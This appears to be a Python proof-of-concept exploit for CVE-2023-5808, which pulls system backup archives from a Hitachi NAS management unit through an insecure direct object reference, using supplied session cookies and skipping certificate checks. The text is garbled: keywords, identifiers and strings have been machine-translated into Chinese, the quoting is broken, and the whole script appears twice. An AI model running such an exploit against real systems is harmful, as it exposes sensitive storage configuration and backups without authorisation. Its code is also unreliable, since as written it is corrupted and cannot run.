#!/usr/bin/python3
#
#title: Hitachi NAS(HNAS)系统管理单元(SMU)备份恢复IDOR漏洞
#CVE: CVE-2023-5808
#日期: 2023-12-13
#利用作者: Arslan Masood(@arszilla)
#vendor: https://www.hitachivantara.com/
#版本: 14.8.7825.01
#测试在: 13.9.7021.04
导入argparse
从DateTime Import DateTime
从OS Import GetCWD
导入请求
Parser=argparse.argumentparser(
描述='CVE-2023-5808 POC',
用法='。/cve-2023-5808.py-主机名/fqdn/ip -id jsessionId -sso jsessionIdsso''
)
#创建- 霍斯特参数:
parser.add_argument(
' - 主持人',
必需=true,
type=str,
help='主机名/fqdn/ip地址。如果需要,请提供端口,即127.0.0.1:8443,example.com:8443'
)
#创建- ID参数:
parser.add_argument(
' - ID',
必需=true,
type=str,
help='jsessionid cookie value'
)
#创建-SSO参数:
parser.add_argument(
' - sso',
必需=true,
type=str,
help='jsessionidsso cookie value'
)
args=parser.parse_args()
def download_file(主机名,jsessionid,jsessionidsso):
#设置FILENAME:
文件名=f'smu_backup- {dateTime.now()。strftime('%y-%m-%d_%h%m')}。zip'
#脆弱的SMU URL:
smu_url=f'https://{hostName} /mgr/app/template/simple%2cbackupsmuscreen.vm/password/''
#获取请求cookie
smu_cookies={
'jsessionId': jsessionid,
'jsessionIdsso': jsessionidsso
}
#获取请求标题:
smu_headers={
'用户代理:'Mozilla/5.0(X11; Linux X86_64; RV:102.0)gecko/20100101 Firefox/102.0',
'Accept':'text/html,application/xhtml+xml,application/xml; q=0.9,image/avif,image/webp,/; q=0.8',
'Accept-Language':'En-us,en; q=0.5',
'接受编码:'gzip,deflate',
'dnt':'1',
'referer': f'https://{hostName} /mgr/app/action/admin.smubackuprestoreaction/eventsubmit_doperform/ignored',
'升级- 不肯定- 重新要求':'1',
'sec-fetch-dest':'文档',
'sec-fetch mode':'导航',
'sec-fetch-site':'same-origin',
'sec-fetch-user':'?1',
'te':'拖车',
'Connection':'关闭'
}
#发送请求:
使用requests.get(smu_url,headers=smu_headers,cookies=smu_cookies,stream=true,verify=false)as file_download:
用打开(文件名,'wb')为backup_archive:
#将zip文件写入CWD:
backup_archive.write(file_download.content)
print(f'{filename}已下载到{getCwd()}')
如果name=='__ -Main __':
download_file(args.host,args.id,args.sso)
#
#title: Hitachi NAS(HNAS)系统管理单元(SMU)备份恢复IDOR漏洞
#CVE: CVE-2023-5808
#日期: 2023-12-13
#利用作者: Arslan Masood(@arszilla)
#vendor: https://www.hitachivantara.com/
#版本: 14.8.7825.01
#测试在: 13.9.7021.04
导入argparse
从DateTime Import DateTime
从OS Import GetCWD
导入请求
Parser=argparse.argumentparser(
描述='CVE-2023-5808 POC',
用法='。/cve-2023-5808.py-主机名/fqdn/ip -id jsessionId -sso jsessionIdsso''
)
#创建- 霍斯特参数:
parser.add_argument(
' - 主持人',
必需=true,
type=str,
help='主机名/fqdn/ip地址。如果需要,请提供端口,即127.0.0.1:8443,example.com:8443'
)
#创建- ID参数:
parser.add_argument(
' - ID',
必需=true,
type=str,
help='jsessionid cookie value'
)
#创建-SSO参数:
parser.add_argument(
' - sso',
必需=true,
type=str,
help='jsessionidsso cookie value'
)
args=parser.parse_args()
def download_file(主机名,jsessionid,jsessionidsso):
#设置FILENAME:
文件名=f'smu_backup- {dateTime.now()。strftime('%y-%m-%d_%h%m')}。zip'
#脆弱的SMU URL:
smu_url=f'https://{hostName} /mgr/app/template/simple%2cbackupsmuscreen.vm/password/''
#获取请求cookie
smu_cookies={
'jsessionId': jsessionid,
'jsessionIdsso': jsessionidsso
}
#获取请求标题:
smu_headers={
'用户代理:'Mozilla/5.0(X11; Linux X86_64; RV:102.0)gecko/20100101 Firefox/102.0',
'Accept':'text/html,application/xhtml+xml,application/xml; q=0.9,image/avif,image/webp,/; q=0.8',
'Accept-Language':'En-us,en; q=0.5',
'接受编码:'gzip,deflate',
'dnt':'1',
'referer': f'https://{hostName} /mgr/app/action/admin.smubackuprestoreaction/eventsubmit_doperform/ignored',
'升级- 不肯定- 重新要求':'1',
'sec-fetch-dest':'文档',
'sec-fetch mode':'导航',
'sec-fetch-site':'same-origin',
'sec-fetch-user':'?1',
'te':'拖车',
'Connection':'关闭'
}
#发送请求:
使用requests.get(smu_url,headers=smu_headers,cookies=smu_cookies,stream=true,verify=false)as file_download:
用打开(文件名,'wb')为backup_archive:
#将zip文件写入CWD:
backup_archive.write(file_download.content)
print(f'{filename}已下载到{getCwd()}')
如果name=='__ -Main __':
download_file(args.host,args.id,args.sso)